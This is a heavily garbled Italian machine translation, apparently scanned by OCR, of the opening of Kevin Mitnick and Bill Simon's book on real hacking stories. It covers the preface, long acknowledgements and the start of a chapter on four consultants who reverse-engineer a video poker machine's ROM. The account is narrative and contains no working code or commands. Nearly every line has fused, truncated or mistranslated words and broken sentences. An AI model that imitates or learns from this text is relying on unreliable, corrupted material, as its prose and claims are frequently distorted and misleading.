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Prefazione

Gli hacker giocare one-up tra di loro. Chiaramemte dei premi sarebbe

da vantarsi di hacking in sito o Web della mia adeedi sicurezza

il mio sistema personale.

Un'altra potrebbe essere che avevano fatto unia sliann hack e piantato

su di me e il mio co-autore Bill Simon in modo comente che siamo stati portati



in, credeva come vero, e inclusi in questo libro.

Che ha presentato una sfida affascinante, un gioastuzia che i due

di noi hanno giocato di volta in volta come abbiafiaito le interviste per il libro.

Per la maggior parte dei giornalisti e autori, stabilisce l'autenticita e abbastanza rou-
materia tine: E davvero la persona che lui o ligrafa di essere? E questa persona

0 e stato questa persona davvero lavorando pegatizazione che lui o lei sostiene?
Forse questa persona ha la posizione di lui adedQuesta persona ha
documentazione per eseguire il backup della stenmsso verificare che i documenti
sono validi? Ci sono persone rispettabili che scet@o la storia o le parti

di esso?

Con gli hacker, controllando la buona fede € inganie. La maggior parte delle persone
le cui storie compaiono in questo libro, che n@nuwsi pochi che hanno gia

stato in prigione, si troverebbe ad affrontare aequenali se la loro vera identita potrebbe essere
determinata. Quindi, chiedendo i nomi reali, ottesa di essere offerto come

prova, € una proposta incerto.

Queste persone si sono fatti avanti solo con e dtworie perché

fidati di me. Sanno che ho fatto il tempo me steesspno disposti a fare affidamento
on non li mia tradire in un modo che li potrebbetere in quella posizione.

Eppure, nonostante i rischi, molti hanno offerta ynova tangibile del loro hack.

Anche cosi, € possibile - anzi, € probabile - dbere persone esa-

ato le loro storie con dettagli destinati a rerid&tl convincenti,

o filato una storia che é stata inventata, ma gistmtorno

abbastanza exploit praticabili per dare loro I'enéi verita.

A causa di tale rischio, siamo stati diligenti mspesso di un elevato stan-

Dard di affidabilita. Attraverso tutte le intervéstho sfidato ogni

dettaglio tecnico, chiedendo spiegazioni approfiendi qualche cosa che non ha fatto
iX

Pagina 13
suono giusto, e, talvolta, seguito piu tardi patere se la storia
era ancora lo stesso o se lui o lei ha detto inawverso la seconda volta
intorno. Oppure, se questa persona "non ricordguahdo gli viene chiesto su alcuni
difficile da realizzare passo omesso dalla st@®@pure, se questa persona solo
non sembrava sapere abbastanza per fare quellaichkei richiesto o non poteva
spiegare come lui 0 ha ottenuto dal punto A al it
Salvo dove espressamente specificato, ogni unprofeiipali storie in questo
libro ha superato il mio "test odore." Il mio cotane e ho concordato il
credibilita di ogni persona la cui storia abbiamduiso. Tuttavia,
dettagli sono stati spesso cambiati per protegfexeker e la vittima. In
molte delle storie, le identita delle societa sorascherati. | modificatori
cato i nomi, industrie, e le posizioni delle orgamizioni mirate. In
alcuni casi, vi sono informazioni fuorvianti peopeggere l'identita
vittima o per evitare una duplicazione del deliffattavia, il vulnerabile di base
nerabilities e la natura degli incidenti sono aatelr
Allo stesso tempo, perché gli sviluppatori di s@fteve hardware fabbricazione
turers sono continuamente alla correzione dellearabilita di sicurezza tramite patch e
nuove versioni dei prodotti, alcuni dei exploit deft$i in queste pagine ancora
lavorare come descritto qui. Questo potrebbe poitdettore troppo sicuro di sé per
decidere che lui o lei non deve preoccuparsi, che le vulnerabilita
partecipato a e corretto, il lettore e la sua cang@ahanno nien- te
ing di essere preoccupati. Ma la lezione di quststee, sia che



successo sei mesi fa o sei anni fa, &€ che gli hat&ano trovando nuovi

vulnerabilita ogni giorno. Leggere il libro di namparare nerabilita specifico

cravatte a prodotti specifici, ma di cambiare itvicstteggiamenti e di ottenere un nuovo
risolvere.

E leggere il libro, troppo, per essere intrattenatimorito, stupito il con-

exploit stantemente sorprendenti di questi hackeigamente intelligenti.

Alcuni sono scioccante, alcuni sono di aprire glilu, un po 'vi fara ridere

al nervo ispirato dell'hacker. Se sei un professidno della sicurezza

nale, ogni storia ha lezioni per voi per renderedstra organizzazione piu

sicuro. Se sei una persona non tecnica, che gasterdd di crimine, dar-

ING, I'assunzione di rischi, e solo coraggio piantroverete tutto qui.

Ognuno di queste avventure coinvolto il pericoladicolpo alla

porta, dove un drappello di poliziotti, agenti delll, e tipi di servizio segreto sarebbe
essere in attesa con le manette pronte. E, iniatasn che e

esattamente quello che é successo.

Per il resto, la possibilita rimane. Nessuna metevche la maggior parte di questi

gli hacker non sono mai stati disposti a raccorigftero storie prima. La maggior parte di questi
avventure che leggerete qui sono stati pubblieatig prima volta.

L'arte dell'intrusione
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Ringraziamenti
By Kevin Mitnick
Questo libro e dedicato alla mia splendida famjglraici stretti, e, la maggior parte
di tutto, le persone che hanno reso possibile qudsb - il black-hat e
hacker white-hat che hanno contribuito le loroistper la nostra istruzione e
intrattenimento.
L'arte dell'intrusioneera ancora piu difficile da scrivere che il nosttimo
libro. Invece di utilizzare il nostro talento creatunito per sviluppare storie
e aneddoti per illustrare i pericoli di ingegnesaxiale e di quello
le aziende possono fare per mitigarlo, sia Bill &ne ho fatto affidamento su
intervistando ex hacker, phreak e hacker trasfarrmsi@urezza
professionisti. Abbiamo voluto scrivere un libreediosse sia un crimine
il thriller e una guida illuminante per aiutareal@ende a proteggere i loro
di informazione e di calcolo preziose risorse. Sidarmamente convinti che
rivelando le metodologie e le tecniche piu comuitizaate dai hack-
ERS per entrare nei sistemi e reti, possiamo inflaee la comunita
in generale di affrontare adeguatamente tali risaninacce poste dalla savvy
avversari.
Ho avuto la fortuna straordinaria di essere collatmcon best-
seller Bill Simon, e abbiamo lavorato diligenteneeimsieme su questo nuovo
libro. Capacita notevoli di Bill come scrittore sola sua capacita magica di prendere
le informazioni fornite dai nostri collaboratorserivere in un tale stile e
modo che la nonna di chiunque poteva capirlo. Aftrportanza
tanza, Bill & diventato molto piu di un partner eoerciale per iscritto, ma
un amico fedele che e stato li per me durante gutésto sviluppo
processo. Anche se abbiamo avuto alcuni momeifustrazione e differenze
del parere nel corso della fase di sviluppo, sotavsempre fuori per il nostro
soddisfazione reciproca. In poco piu di due ararg $inalmente in grado di scrivere
e pubblicare iThe Untold Story di Kevin Mitnicklopo un certo governo



Limiti d'scadono. Speriamo, Bill e io collaborarecuesto
proiettare pure.
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Splendida moglie di Bill, Arynne Simon, ha anchepmsto caldo nel mio cuore.
Apprezzo il suo amore, la gentilezza e la genexaie mi ha mostrato in
negli ultimi tre anni. La mia unica esperienza delte non € in grado
per godere della sua grande cucina. Ora che d Bdinalmente finito, forse
Posso convincerla a cucinare una cena di festal
Essendo stato cosi concentratd sute dell'intrusionenon sono stato in grado di
trascorrere del tempo di qualita con molto la fdiaig gli amici. Sono diventato qualcuno
quello di un maniaco del lavoro, simile ai giommidui mi piacerebbe trascorrere ore e ore
dietro la tastiera di esplorare gli angoli bui dgberspazio.
Voglio ringraziare la mia fidanzata amorevole, D&ood, e il suo game-amante
figlia Briannah per essere di supporto e pazieateorso di questo tempo-
consumando progetto. Grazie, il bambino, per tiittostro amore, dedizione, e
supporto che e Briannah mi avete fornito menttavgra su questo
e altri progetti impegnativi.
Questo libro non sarebbe stato possibile senzatamil sostegno
della mia famiglia. Mia madre, Shelly Jaffe, e manna, Reba
Vartanian, mi hanno dato amore incondizionato dtegno per tutta la mia
vita. Sono cosi fortunato ad essere stato alledatena amorevole e dedicato
madre, che considero anche il mio migliore amic@ Monna é stata
come una seconda mamma per me, darmi con lo stegsmento e I'amore
che di solito solo una madre puo dare. E 'stateresimente utile in
gestione alcuni dei miei affari, che a volte inéeitb con il suo
pianificazione. In ogni caso, ha fatto la mia atéiwna priorita assoluta, anche
quando era scomodo farlo. Grazie, Gram, per avaiutato
il lavoro fatto ogni volta che avevo bisogno. Copeg- attento e compassionevole
ple, mi hanno insegnato i principi di prendersiecdegli altri e prestiti
una mano ai meno fortunati. E cosi, imitando il eltxddi
dare e premuroso, io, in un certo senso, segpieecorsi della loro vita. Spero che
mi perdoneranno per il loro inserimento nel dimeatvio durante il processo
di scrivere questo libro, passando fino possibditaederli con la scusa di
lavoro e scadenze da rispettare. Questo libro amrbbe stato possibile
senza il loro costante amore e il sostegno chemgd sempre vicino a
il mio cuore.
Come vorrei che mio padre, Alan Mitnick, e mio &l&d, Adam Mitnick,
avrebbe vissuto abbastanza per rompere una battighhampagne con
me il giorno del nostro secondo libro appare pgrilaa in una libreria. Come vendita-
uomo e imprenditore, mio padre mi ha insegnatoenmise belle
che non dimentichero mai.
Ritardo fidanzato di mia madre, Steven Knittleta&suna figura paterna per
me negli ultimi 12 anni. Ho preso grande confoepese che eri
sempre i a prendersi cura di mia mamma quanddagotuto. Il tuo passaggio ha
L'arte dell'intrusione
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ha avuto un profondo impatto sulla nostra famigli@d manca il vostro umorismo, la risata,



e I'amore che ha portato alla nostra famiglia. RIP.

Mia zia Chickie Leventhal avra sempre un posto igeael mio cuore.

Nel corso degli ultimi due anni, i nostri legaminfdiari sono stati rafforzati, e

la nostra comunicazione e stato meraviglioso. @glhta che ho bisogno di un consiglio o di un
luogo di soggiorno, lei &€ sempre li offrendo il @more e sostegno. Durante la mia
intensa devozione a scrivere questo libro, ho fseatd molte opportunita per

unirsi a lei, mia cugina, Mitch Leventhal, e il siislanzato, il dottor Robert
Berkowitz, per la nostra famiglia ritrovi.

Il mio amico Jack Biello era una persona amoreegbeemuroso che ha parlato fuori
contro il maltrattamento straordinario ho soffggty mano di mino

nalisti e pubblici ministeri del governo. Era urace fondamentale nel Kevin libero
movimento e uno scrittore che aveva un talent@siraario per la scrittura com-
articoli Pelling espongono le informazioni cheavgrno non ha fatto

voglio che tu sappia. Jack era sempre |i a paskmea timore sul mio

nome e per lavorare insieme a me preparare dise@nsicoli,

e, ad un certo punto, mi rappresentato da collegeomaultimediale. Mentre finendo
il manoscritto diThe Art of DeceptiofWiley Publishing, Inc., 2002),

Morte di Jack mi ha fatto sentire un grande sengedlita e di tristezza. Sebbene
sono passati due anni, Jack € sempre nei mieigrensi

Uno dei miei amici piu cari, Caroline Bergeron t@c molto soste-

ive del mio impegno per avere successo in quesigetto di libro. Lei € una bella e
brillante avvocato living soon-to-be nel Grande éNbranco. Dopo aver incontrato
lei durante uno dei miei impegni di lingua a Vig#orci si piacquero

subito. Ha prestato la sua esperienza per correziobbhozze, editing, e correttezza
ing la due giorni di ingegneria sociale seminahe élex Kasper e sviluppo

pato. Grazie, Caroline, per essere li per me.

[l mio collega Alex Kasper non e solo il mio migkoamico, ma anche il mio col-
league; stiamo lavorando sulla realizzazione djiomo e di due giorni del Semmering
semi- su come le aziende possono riconoscere red@ifel sociale

attacchi di ingegneria. Insieme abbiamo ospitatpaolare Internet radio colloquio
spettacolo noto come "The Darkside di Internetaiio KFI a Los

Angeles. Sei stato un grande amico e confident@zi&per la vostra

preziosa assistenza e consulenza. La vostra izfluersempre stata positiva

e disponibile con una gentilezza e generosita phes® si estendeva ben

oltre la norma.

Paul Dryman é stato un amico di famiglia per maotilti anni. Paul era

migliore amico di mio padre defunto. Dopo la mattenio padre, Paul & stato un padre
figura, sempre pronto ad aiutare e parlare conimgeaalsiasi cosa sul mio

mente. Grazie, Paolo, per la tua amicizia fedelewoto alla mia

padre e io per tanti anni.

Ringraziamenti
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Amy Gray é riuscita la mia carriera di lingua pérudtimi tre anni. Non
solo io ammiro e adoro la sua personalita, ma agprid¢ modo in cui tratta
altre persone con tanto rispetto e cortesia. freasostegno e dedizione
di professionalita ha contribuito al mio successme oratore pubblico e
allenatore. Grazie mille per la vostra amicizidestro continuo
impegno verso l'eccellenza.
Avvocato Gregory Vinson era sulla mia squadra ftiséi durante la mia anni-



lunga battaglia con il governo. Sono sicuro che figigardare comprensione di Bill
in piedi e pazienza per il mio perfezionismo; hatao stesso

esperienza di lavoro con me su ricorsi legali chadritto sul mio conto.

Gregory € ora la mia attivita avvocato diligentetedavorando con me sulla nuova
contratti e offerte di negoziazione di affari. Geager la vostra meravigliosa
supporto e diligente lavoro, soprattutto quandeessario con breve preavviso.
Eric Corley (aka Emmanuel Goldstein) é stato utesire attivo

e amico per oltre un decennio. Ha sempre guardato fer il mio migliore
interesse e ha pubblicamente difeso me quandostattodemonizzato dai
Miramax Films e alcuni altri giornalisti. Eric éasb estremamente

strumentale a ottenereparola durante procuratori del governo

zione di me. La tua gentilezza, generosita, e tanai significa di piu per me
guanto le parole possano esprimere. Grazie pereegseamico leale e fidato.
Steve Wozniak e Sharon Akers hanno dato moltoadeltempo per aiutare

me e sono sempre li ad aiutarmi. Il riassetto featg del

orari di essere li per sostenere me € molto apai@zzmi scalda

chiamare tutti e due miei amici. Speriamo, oraaiesto libro € com-

completata, avremo piu tempo per stare insiemeyaiche qualita gadget

tempo. Steve - Non dimentichero mai il momentounlei, Jeff Samuels, e io

ha guidato tutta la notte nella vostra Hummer pevare a DEFCON a Las

Vegas, passando driver costantemente in modo thpdtessimo controllare la nostra e-mail
e chiacchierare con gli amici sulle nostre conmessvireless GPRS.

E mentre scrivo questi riconoscimenti, mi accorgawére cosi tante persone

per ringraziare ed esprimere apprezzamento pesfppge il loro amore, I'amicizia,
e il supporto. Non posso cominciare a ricordaremindi tutti i tipi e

persone generose che ho incontrato in questi udtmi, ma basti dire, lo farei
bisogno di una grande unita flash USB per archéviatti. Ci sono stati cosi tanti
persone provenienti da tutto il mondo che mi haserdto parole di incorag-
gestione, la lode, e il supporto. Queste parolebamnificato molto per

me, soprattutto durante i tempi ne avevo piu bisogn

Sono particolarmente grato a tutti i miei tifoseati e stato vicino e speso

il loro tempo prezioso ed energie ottenere la paaathiunque che sarebbe
ascoltare, esprimere la loro preoccupazione e daaliezione trattamento ingiusto e
L'arte dell'intrusione
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l'iperbole creato da coloro che hanno cercatcadidrprofitto dal "Il Mito
di Kevin Mitnick. "
Sono ansioso di ringraziare quelle persone chaeapptano la mia carriera professionale
e sono dedicati in modo straordinario. David Fugdit§Vaterside
Productions, e il mio agente libro che e andatattele per me su molti occa-
sioni prima e dopo il contratto é stato firmatadb
Apprezzo molto I'opportunita che John Wiley & Sdwas
mi ha dato all'autore un altro libro, e per la Ifiducia nella nostra capacita
sviluppare un best seller. Desidero ringraziagelguenti persone che Wiley
reso possibile questo sogno: Ellen Gerstein; BebripCarol Long, che
sempre risponde prontamente alle mie domande eqirpazioni (il mio numero uno
contatto a Wiley e direttore esecutivo); e Emilieridan e Kevin
Shafer (redattori di sviluppo), che hanno entralamrato con noi come una squadra
per ottenere il lavoro fatto.



Ho avuto anche molte esperienze con gli avvocaisano desiderosi di avere
un luogo per esprimere il mio ringraziamento peaglocati che, durante gli anni del mio
interazioni negative con il sistema di giustizianglke, intensificati e

offerto di aiutarmi quando ero un disperato bisodvalle parole gentili
profondo coinvolgimento con il mio caso, ho incatdrmolti che non a tutti in forma il
stereotipo del procuratore egocentrico. Sono vepetaispetto, ammirazione,
e apprezzare la gentilezza e la generosita digine mi é cosi liberamente
da tanti. Ognuno di essi meritano di essere ricdotscon un paragrafo di
parole favorevoli; lo almeno li citare per nome; pgnuno

dei quali vive nel mio cuore circondato da apprezato: Greg Aclin, Fran
Campbell, Lauren Colby, John Dusenbury, Shermaadsl] Omar

Figueroa, Jim French, Carolyn Hagin, Rob Hale, BDétahler, Ralph

Peretz, Alvin Michaelson, Donald C. Randolph, ARubin, Tony Serra,

Salta liste, Richard Steingard, Onorevole Robeorg Barry Tarlow,

John Yzurdiaga, e Gregory Vinson.

Altri membri della famiglia, amici personali, cadjlei di lavoro che hanno

mi ha dato consigli e supporto, e hanno raggiumtoolti modi, si

importante riconoscere e riconoscere. Sono JJ Adqr&mmaron

Akers, Matt "NullLink" Beckman, Alex "CriticalMas$Berta, Jack

Biello, Serge e Susanne Birbrair, Paul Block, Befivier, Matt "404"

Burke, Mark Burnett, Thomas Cannon, Graceann eyR&ravez,

Raoul Chiesa, Dale Coddington, Marcus ColombanoCAxrfas,

Ed Cummings, Jason "Cypher" Satterfield, Roberti@&wDave

Delancey, reverendo digitale, Oyvind Dossland, awning, John

Draper, Ralph Echemendia, Ori Eisen, Roy Eskapax Alelding, Erin

Finn, Gary Pesce e Fishnet Security, Lisa Flores¢iBFrank, Gregor

Freund, Sean Gailey e tutto lI'equipaggio Jinx, Meile Katie Gardner,
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Masiero, Forrest McDonald, Kerry McElwee, Jim "goh&cAnally,
Paul e Vicki Miller, Elliott Moore, Michael Morrisyincenzo, Paolo e
Eileen Navarino, Patrick e Sarah Norton, John Nu§hawn Nunley,
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e Dianna Wykofka, e tutti i miei amici e sostenitelle schede

su Labmistress.co@600la rivista.

Con Bill Simon

Nel fare il nostro primo librd,'arte dell'ingannoKevin Mitnick e forgiati
un‘amicizia. Mentre scrivevo questo, abbiamo sertrprato nuovi modi di
lavorare insieme approfondendo la nostra amicfiandi, le mie prime parole di
apprezzamento andare a Kevin per essere un ecakzioompagno di viaggio"”, come
abbiamo condiviso questo secondo viaggio.

David Fugate, il mio agente a Waterside Productelhisomo incaricato

bile per portare Kevin e me insieme, in primo luogibinto il suo

solito negozio di pazienza e saggezza per trovanedo di risolvere quei pochi missione
situazioni erable sopravvenuto. Quando il giodasluro, ogni

scrittore dovrebbe essere benedetto con un ageate saggio e buono un
amico. ldem per il mio amico di lunga data Bill @éone, il fondatore di
Waterside Productions e il mio agente principal#.rBnane un fattore chiave
nel successo della mia carriera di scrittore ealmail gratitudine eterna.

Mia moglie Arynne continua ad ispirarmi di nuovanogiorno con il suo amore
e la sua dedizione per 'eccellenza; L'ho apprezaatdi quanto possa dire in
parole. Ha aumentato la mia competenza di scrigierda sua intel-

intelli- e la volonta di essere schietto raccontant dritto quando
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mia scrittura ha mancato il bersaglio. In qualcteElmsi ottiene attraverso il vapore di
ira che é la mia solita risposta iniziale ai sugigerimenti, ma alla fine
Accetto la saggezza dei suoi suggerimenti e farsdaittura.
Mark Wilson ha prestato una mano amica che ha fattiifferenza. Emilie
Herman era un campione di un editor. E non posseiticare il lavoro di
Kevin Shafer, che ha assunto dopo Emilie sinistra.
Anche un libro XVI accumula un debito di persone timgo il percorso
sono stati piu di un po 'di utile; dei tanti, vagBoprattutto a
parlare Kimberly Valentini e Maureen Maloney di \&fside, e
Josephine Rodriguez. Marianne Stuber ha fattooilsslito ritorno veloce
trascrizione (non facile con tutti quegli strarmnténi tecnici e degli hacker
slang) e Jessica Dudgeon mantenuto l'ufficio inldw. Darci Legno
Era un campione circa il tempo di lei Kevin dedicatottenere questo libro
fatto.
Un ringraziamento speciale a figlia Victoria eiglio Sheldon per la loro comprensione
in piedi, e ai miei nipoti gemelli Vincent e Elenauali
Confido che saro in grado di vedere ancora una\guiesto manoscritto € consegnato.
Per i molti che ci ha offerto le storie, e in pewtare a coloro la cui com-
storie Pelling abbiamo scelto di usare, Kevin edno profondamente indebitati. Essi
si fece avanti nonostante rischi significativi. Bwa loro nomi stati rivelati, in
molti casi essi avrebbero avuto di essere tragair@atagli uomini in
blu. Anche coloro le cui storie non sono statiizgéti hanno mostrato coraggio in loro volonta-
strino di condividere, e meritano di essere ammip&r questo. Noi, infatti, ammiriamo
li.
Ringraziamenti
XVii
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1
Capitolo 1
Hacking Casino
per un milione di dollari
Ogni volta che [alcuni software engineer] dice: '$¢eno si prendera la briga di
farlo, "c'e un ragazzino in Finlandia che si prena@éa briga.
- Alex Mayfield
T
ecco che arriva momento di un giocatore magicaiirlecemozioni semplici
magnificare diventare fantasie 3-D - un momentounl'avidita
mastica l'etica e il sistema di casino é solo tm'ahontagna
in attesa di essere conquistato. In quel singolmemto I'idea di un infallibile
modo per battere i tavoli o le macchine calci nolo 1 ma calcia proprio
fiato.
Alex Mayfield e tre suoi amici hanno fatto piu digno ad occhi aperti. Come
molti altri hack, questo ha iniziato come un esaocintellettuale solo per vedere se
sembrava possibile. Alla fine, i quattro effettiveamte battere il sistema, prendendo
I casino per "circa un milione di dollari”, diceeX.
Nei primi anni 1990, i quattro stavano lavorandmeaconsulenti in high-tech
e giocare vita dissoluta e casual. "Sai - che lavgra, fare un po'
soldi, e poi non funziona finché non si fosse rotto
Las Vegas era lontano, una cornice per film e apelittelevisivi. Cosi
quando una societa di tecnologia ha offerto aizzigan incarico di sviluppare alcuni
software e poi accompagnare a una fiera in un tegh-convenzionale
Zione li, hanno saltato al volo I'occasione. Saedhlprima a Las Vegas
per ciascuno di essi, la possibilita di vederait lampeggianti per se stessi, tutto
spese sostenute; che si trasformerebbe che vdrassb? Le suite separate per ogni
in un grande albergo ha fatto si che la moglieldkA fidanzata di Mike potrebbe essere
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incluso nel divertimento. Le due coppie, oltre ariza@ Marco, partirono per
tempi caldi in Sin City.

Alex dice di non sapere molto su gioco d'azzardoresapevano

cosa aspettarsi. "Si ottiene 'aereo e si vede wgtchiette Play

ing gli slot. Sembra divertente e ironico, e si asfionche in ".

Dopo i quattro avevano finito di fare fiera, siuwed

signore erano seduti intorno al casino di loro Slotel di gioco

macchine e godendo birre gratis quando la moglidek ha offerto una sfida:
"Non sono queste macchine basate su compWarfagazzi siete in

computer, non si puo fare qualcosa di cosi cheerindi piu? "

| ragazzi rinviata al privato di Mike e seduti into tirare fuori questione

zioni e offrendo teorie su come le macchine poteeblfunzionare.

Ricerca

Questo e stato il grilletto. | quattro "ha ottenutopo curioso di tutto cio, e noi
iniziato a cercare in esso quando siamo tornadisa t, dice Alex, riscaldamento
ai ricordi vividi di quella fase creativa. Ci somoluti solo un po 'di tempo per
la ricerca per sostenere cio che gia sospettav&nosono com-



programmi per computer fondamentalmente. Alloratgressava, era li alcuni
modo che si potrebbe rompere queste macchine? "

C'erano persone che avevano battuto le slot madairisostituendo la

firmware "- per raggiungere il chip all'internoutia macchina e sosti-

Tlting la programmazione per una versione che ffielivie molto piu

payoff interessanti rispetto al casino destinatreAsquadre avevano fatto che,
ma sembrava richiedere cospirato con un dipendkiteasino, e non solo
qualsiasi dipendente ma uno dei techies slot mackar Alex e il suo bilan- cio
muore, "ROM scambiano sarebbe stato come colpgesanchia signora sulla
testa e prendere la borsa. "Hanno capito se avamterzione di provare questo,
sarebbe come una sfida alle proprie capacita diraromazione e le loro intelletto.
E poi, non avevano avanzato talenti in ingegnertiade; essi

erano ragazzi di computer, privo di qualsiasi ceeaga di come si Sidle fino ad un
dipendente del casino e propone che si uniscona piccolo schema di prendere
po 'di soldi che non ti appartiene.

Ma come avrebbero iniziare ad affrontare il protd@mlex ha spiegato:

Ci chiedevamo se potevamo davvero prevedere quastos

la sequenza delle cart®. forse siamo riusciti a trovare una porta sul getr
[Codice software che consente |'accesso non auagzin seguito al programma]
che qualche programmatore possa aver messo i pevprio beneficioTutto
programmi sono scritti da programmatori e prograntorasono
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creature maligneAbbiamo pensato che in qualche modo potremmo irsrapp
Su una porta sul retro, come ad esempio la pressiora sequenza di tasti per cambiare
le probabilita, o un semplice difetto di programnege che abbiamo potuto sfruttare.
Alex ha letto il libroll Eudaemonic Piaeli Thomas Bass (Penguin,
1992), la storia di come un gruppo di ragazzi anpater e fisici in
1980 ha battuto roulette di Las Vegas con la peojprrenzione di un "all'usura
in grado di computer "delle dimensioni di un padtindi sigarette per prevedere l'uscita
venire di un gioco della roulette. Un membro dahteal tavolo sarebbe clic
per introdurre la velocita della ruota della rotdet come la palla era
spinning, e il computer sarebbe poi nutrire toai idio ad un‘udienza
facilitare I'orecchio di un altro membro del teazhe avrebbe interpretare i segnali
e piazzare una scommessa appropriata. Dovrebbenm ltamminato via con una tonnellata
di soldi, ma non lo fece. In considerazione di Al8kloro schema chiaramente avuto grande
potenziale, ma é stato afflitto da tecnologia inbcante e inaffidabile.
Inoltre, ci sono stati molti partecipanti, costdmportamento e rapporto interpersonale
le erano un problema. Eravamo determinati a nataip gli stessi errori. "
Alex pensato che dovrebbe essere piu facile dareatin gioco basato su computer
"Perché il computer € completamente deterministigbtisultato
sulla base da cio che & accaduto prima, o, pefrpaasie un vecchio software inge-
L'espressione di Neer, buoni dati, dati di buohtegpressione originale
guarda questo dal punto di vista negativo: "garbaggarbage out".)
Questo sembrava proprio il suo vicolo. Da giov#iex era stato un musicalita
cian, unendo una band di culto e sognare di essereock star, e quando cio
non ha funzionato era scivolato nello studio deltematica. Aveva un tal-
ent per la matematica, e anche se non aveva nabdanto per scolarizzazione (e
aveva lasciato il college), aveva inseguito il ssiigabbastanza per avere



abbastanza solido livello di competenza.

Decidendo che alcune ricerche e stato chiamatspeco a Washington,

DC, per trascorrere un po 'di tempo nella salattlifa dell'Ufficio Brevetti. "I gura

rato qualcuno avrebbe potuto essere cosi stupideetizre tutto il codice nella

brevetti "per una macchina di video poker. E aldrast sicuro, aveva ragione. "A

quel tempo, lo scarico di una risma di codice oggetbrevetto € un modo per un

filer brevetti per proteggere la sua invenzioné ng@mento che il codice contiene certamente un
descrizione molto completa della sua invenzionejmmana forma che non é torio
user-friendly Bly. Ho avuto qualche microfilm cdrcodice oggetto in esso e poi
digitalizzato le pagine di cifre esadecimali pesdzioni interessanti, che dovevano essere
smontato in [una forma utilizzabile]. "

Analizzando il codice scoperto alcuni segreti ¢lieam ha scoperto

intrigante, ma hanno concluso che 'unico moddger una reale

il progresso sarebbe quello di mettere le maniugllg specifico tipo di macchina che
voluto incidere in modo da poter guardare il cogliee se stessi.
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Come squadra, i ragazzi erano ben abbinati. Mierexglio del previsto
programmatore competente, piu forte rispetto dglitee su hardware
design. Marco, un altro programmatore affilato, @nauropeo dell'Est
immigrato che sembrava un adolescente. Ma era@gmbti un dare-
diavolo, si avvicina il tutto con un can-do atteggento smart-ass. Alex
eccelleva in programmazione ed e stato colui chehé&ibuito alla conoscenza
bordo della crittografia avrebbero bisogno. Laroy era molto di un pro-
grammatica e causa di un incidente in moto nonvaot&aggiare molto, ma
Era un grande organizzatore che ha mantenutodigbimin pista e tutti
concentrato su quello che doveva essere fattorinfage.
Dopo la ricerca iniziale, Alex "sorta di dimentigatl progetto.
Marco, pero, era calda per l'idea. Lui continuavuasestere: "Non e cosi grande
un accordo, c'e tredici stati in cui & possibilguastare legalmente le macchine. "
Infine ha parlato gli altri a dare una prova. "Adniio capito, quello che il
I'inferno. "Ogni scheggiato in denaro sufficiengr pankroll il viaggio e il costo
di una macchina. Si diressero ancora una voltd/@gas - questa volta a loro
spese e con un altro obiettivo in mente.
Alex dice: "Per acquistare una slot machine, irdftoe semplicemente dovuto andare in e
spettacolo
ID da uno stato in cui queste macchine sono letfjglossedere. Con di guida
licenza da uno stato giuridico, hanno praticamanteha chiesto un sacco di domande ".
Uno dei ragazzi aveva un comodo collegamento agsidente del Nevada. "Era
come lo zio di fidanzata di qualcuno o qualcodaa @issuto a Las Vegas. "
Hanno scelto Mike come quello di parlare con quastmo, perché "ha una vendita-y
tipo di modo, una sorta di ragazzo molto preselgabipresupposto & che sei
intenzione di usarlo per il gioco d'azzardo illegdt ‘come armi ", ha spiegato Alex. Molti
le macchine diventangrigi-commercializzatt venduti canali fuori accettati - a
luoghi come club sociali. Tuttavia, ha trovato serglente che "potremmo comprare la
esatte unita produttive stesse che usano sul paténdel casino. "
Mike ha pagato I'uomo di 1.500 dollari per una nméca, un marchio giapponese.
"Allora noi due mettere questo dannato in una maect\bbiamo guidato a casa come se si
avuto un bambino sul sedile posteriore ".



Sviluppare la Hack

Mike, Alex, e Marco trascinarono la macchina ahpiai sopra al secondo piano
di una casa dove era stato offerto I'uso di unaecama letto di ricambio. Il
brivido della esperienza sarebbe lungo ricordatalda come una delle

pil emozionante della sua vita.

Apriamo in su, prendiamo la ROM, noi capire cosssformazione

sor €. Avevo preso la decisione di ottenere quastechina giapponese
sembrava un knockoff di uno dei grandi marchi. Hio pensato che |l
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Gli ingegneri potrebbero hanno lavorato sotto press, si
avrebbe potuto essere un po 'pigro o un po' sciatta
Si é scoperto che avevo ragione. Avevano usat@08 gli chip], simile
a un 6502 che si € visto in un Apple Il o un At&ristato un
Chip 8 bit con uno spazio di memoria 64K. Ero ugliaggio assembly
programmatore, quindi questo era familiare.
La macchina Alex aveva scelto era uno che era stagivo per un po'
10 anni. Ogni volta che un casino vuole acquistaemacchina di un nuovo design, la
Las Vegas Gaming Commissione deve studiare la pnogiazione e fare
certo e progettato in modo che i pagamenti sargiugio ai giocatori. Ottenere un nuovo
progetto approvato puo essere un processo lungajiquasino tendono a mantenere |l
le macchine piu vecchie piu di quanto ci si aspeltiee. Per la squadra, un vecchio
la macchina sembrava in grado di avere la tecnalolsoleta, che speravano
potrebbe essere meno sofisticata e piu faciletdacatre.
Il codice di computer hanno scaricato dal chipietainario
forma, la stringa di 1 e di O, che ¢ il livello plementare di informatica
istruzioni. Per tradurlo in una forma che potevlwwrare, hanno
avrebbe prima dovuto fare un p@verse engineeringun processo di un ingegnere
0 programmatore utilizza per capire come un prodgit esistente e stato progettato; in
guesto caso significava conversione dal linguagmaochina in una forma che la
ragazzi potevano capire e lavorare con.
Alex aveva bisogno di udisassembleper tradurre il codice. Il quartetto non ha
vogliono punta la mano cercando di acquistarefil\&re - un atto che
sentito sarebbe equivalente ad andare nella vostiiateca locale e cercando di
controllare i libri su come costruire una bombedazzi hanno scritto il proprio display
assembler, uno sforzo che Alex descrive come "mopezzo di torta, ma era
divertente e relativamente facile. "
Una volta che il codice macchina video poker eatostseguito attraverso
il nuovo disassembler, i tre programmatori sedatteversare su di esso.
Di solito e facile per un ingegnere software cortpiapidamente
individuare le sezioni di un programma che vuoléteme a fuoco. Questo e
perché un codice di scrittura persona mette inraigartelli stradali tutti attraverso di essa -
note, commenti e osservazioni che spiegano laduezii ogni sezione,
qualcosa di simile al modo in cui un libro puo &vtoli di parte, i titoli dei capitoli, e
sottovoci per le sezioni all'interno di un capitolo
Quando un programma viene compilato in forma chedachina puo leggere,
questi segni stradali sono ignorati - computer oragrocessore non ha
hanno bisogno per loro. Quindi il codice che eostaverse-engineered manca qualsiasi
queste spiegazioni utili; per mantenere la "segitalstradale” metafora, questo



codice recuperato € come una tabella di marciaaseomi di luogo, nessun segno di
autostrade o strade.
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Hanno passato al setaccio le pagine del codice sciiermo alla ricerca di indizi per
le domande fondamentali: "Qual € la logica? Comegeao mescolate le carte? Come
